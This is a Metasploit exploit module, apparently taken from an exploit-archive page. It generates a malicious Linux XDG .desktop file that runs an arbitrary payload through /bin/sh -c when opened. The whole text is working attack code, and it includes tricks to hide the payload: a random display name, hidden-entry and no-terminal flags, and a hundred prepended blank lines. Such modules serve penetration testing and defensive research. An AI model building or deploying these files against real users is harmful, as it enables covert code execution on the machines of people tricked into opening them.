Malicious XDG Desktop File

2025.08.05
Credit: Brendan coles
Risk: Medium
Local: No
Remote: Yes
CVE: N/A
CWE: N/A

## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Remote Rank = GreatRanking include Msf::Exploit::FILEFORMAT def initialize(info = {}) super( update_info( info, 'Name' => 'Malicious XDG Desktop File', 'Description' => %q{ This module creates a malicious XDG Desktop (.desktop) file. On most modern systems, desktop files are not trusted by default. The user will receive a warning prompt that the file is not trusted when running the file, but may choose to run the file anyway. The default file manager applications in some desktop environments may impose more strict execution requirements by prompting the user to set the file as executable and/or marking the file as trusted before the file can be executed. }, 'Author' => [ 'bcoles' ], 'License' => MSF_LICENSE, 'References' => [ ['ATT&CK', Mitre::Attack::Technique::T1204_002_MALICIOUS_FILE], ['URL', 'https://specifications.freedesktop.org/desktop-entry-spec/latest/'], ['URL', 'https://specifications.freedesktop.org/desktop-entry-spec/latest/exec-variables.html'], ['URL', 'https://wiki.archlinux.org/title/Desktop_entries'] ], 'Platform' => %w[linux unix solaris freebsd], 'Arch' => [ARCH_CMD], 'Targets' => [ [ 'Automatic', {} ] ], 'DefaultTarget' => 0, 'Privileged' => false, 'DisclosureDate' => '2007-02-06', 'Notes' => { 'Stability' => [CRASH_SAFE], 'Reliability' => [REPEATABLE_SESSION], 'SideEffects' => [SCREEN_EFFECTS] } ) ) register_options([ OptString.new('FILENAME', [true, 'The desktop file name.', 'msf.desktop']), OptString.new('APPLICATION_NAME', [false, 'The application name. Some file managers will display this name instead of the file name. (default is random)', '']), ]) register_advanced_options([ OptInt.new('PrependNewLines', [false, 'Prepend new lines before the payload.', 100]), ]) end def application_name datastore['APPLICATION_NAME'].blank? ? rand_text_alpha(6..12) : datastore['APPLICATION_NAME'] end def exploit values = [ 'Type=Application', "Name=#{application_name}", # 'Hidden=true', # This property is not supported by old systems, which prevents execution 'NoDisplay=true', 'Terminal=false' ] desktop = "[Desktop Entry]\n" desktop << values.shuffle.join("\n") desktop << "\n" desktop << "\n" * datastore['PrependNewLines'] escaped_payload = payload.encoded.gsub('\\', '\\\\\\').gsub('"', '\\"') desktop << "Exec=/bin/sh -c \"#{escaped_payload}\"" file_create(desktop) end end


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